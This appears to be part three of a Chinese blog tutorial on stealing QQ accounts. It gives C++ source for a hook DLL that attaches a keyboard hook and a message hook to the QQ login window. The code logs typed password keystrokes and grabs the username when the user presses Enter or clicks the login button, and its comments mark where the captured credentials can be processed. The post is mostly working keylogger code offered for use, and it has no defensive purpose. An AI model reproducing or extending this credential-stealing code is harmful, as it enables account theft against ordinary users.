QQ盗号的核心技术(3)

 


3
MyHook.dll模块。

[cpp] view plaincopyprint?

1.     EXPORT BOOL WINAPI SetHook ( HWND hQQLand,  

2.         HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall )   

3.     {  

4.      if ( isInstall )  

5.      {  

6.       hQQLandDlg = hQQLand ;  

7.       hUserNameEdit = hUserName ;  

8.       hPasswordComboBox = hPassword ;  

9.       hButton = hLandButton ;  

10.   DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;  

11.    hHookDll = GetModuleHandle ( "MyHook" ) ;  

12.    hKeyboard = SetWindowsHookEx ( WH_KEYBOARD,   

13.     (HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;  

14.     

15.    hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,  

16.     (HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;   

17.     if ( hKeyboard != NULL && hWndProc != NULL )  

18.     return true ;  

19.   }  

20.   else  

21.   {  

22.    UnhookWindowsHookEx ( hKeyboard ) ;  

23.    UnhookWindowsHookEx ( hWndProc ) ;  

24.    hHookDll = NULL ;  

25.    hKeyboard = NULL ;  

26.    hWndProc = NULL ;   

27.    ZeroMemory ( szPassword, 128 ) ;  

28.    pszPasswordLen = 0 ;  

29.   }  

30.   return false ;  

31.  }  



这个程序段很简单只是通过检测远程线程的输入安装、卸载钩子函数。

如果对钩子函数不清楚的朋友,看一下MSDN或者WIN32函数集就可以了。

这里对QQ登陆对话框线程设置两个钩子,一个键盘钩子函数记录键盘输入;另一个全局消息钩子。

[cpp] view plaincopyprint?

1.     LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )  

2.     {  

3.     //检测回车键是否被按下  

4.      if ( wParam == VK_RETURN && lParam > 0 )  

5.      {  

6.       //由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的  

7.       SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );  

8.       //此处可以自由处理拦截到的号码和密码(szUserName,szPassword  

9.       //不要忘了变量还原(szUserName,szPassword  

10.   }  

11.   if ( lParam > 0 && wParam != VK_RETURN )  

12.   {  

13.    char KeyName[10] ;  

14.     ZeroMemory ( KeyName, 10 ) ;  

15.    GetKeyNameText ( lParam, KeyName, 10 ) ;  

16.    if ( strlen ( KeyName ) == 1 )  

17.    {  

18.     strcat ( szPassword, KeyName ) ;  

19.     }  

20.   }  

21.   return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;  

22.  }  


也由一部分用户是用鼠标点击登陆按扭的,可由下面代码实现

[cpp] view plaincopyprint?

1.     LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )  

2.     {  

3.      CWPSTRUCT *p = (CWPSTRUCT*)lParam ;  

4.      if ( p->message == WM_COMMAND && p->hwnd == hButton )  

5.      {//同理  

6.       SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );   

7.       //这里可添加如何处理密码的语句  

8.       }  

9.      return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;  

10.  }  




上面给出的几段代码可以实现基本的号码和密码记录功能,但对于具体细节的处理(比如用户按退格键或是其他),这些只要考虑仔细就可以了没有什么难度,这里就不说了。

到此,我想应该把核心部分讲清楚了。由于时间比较紧,写的比较仓促,难免有不足之处,请各位多指教。

你可能感兴趣的:(技术,模块)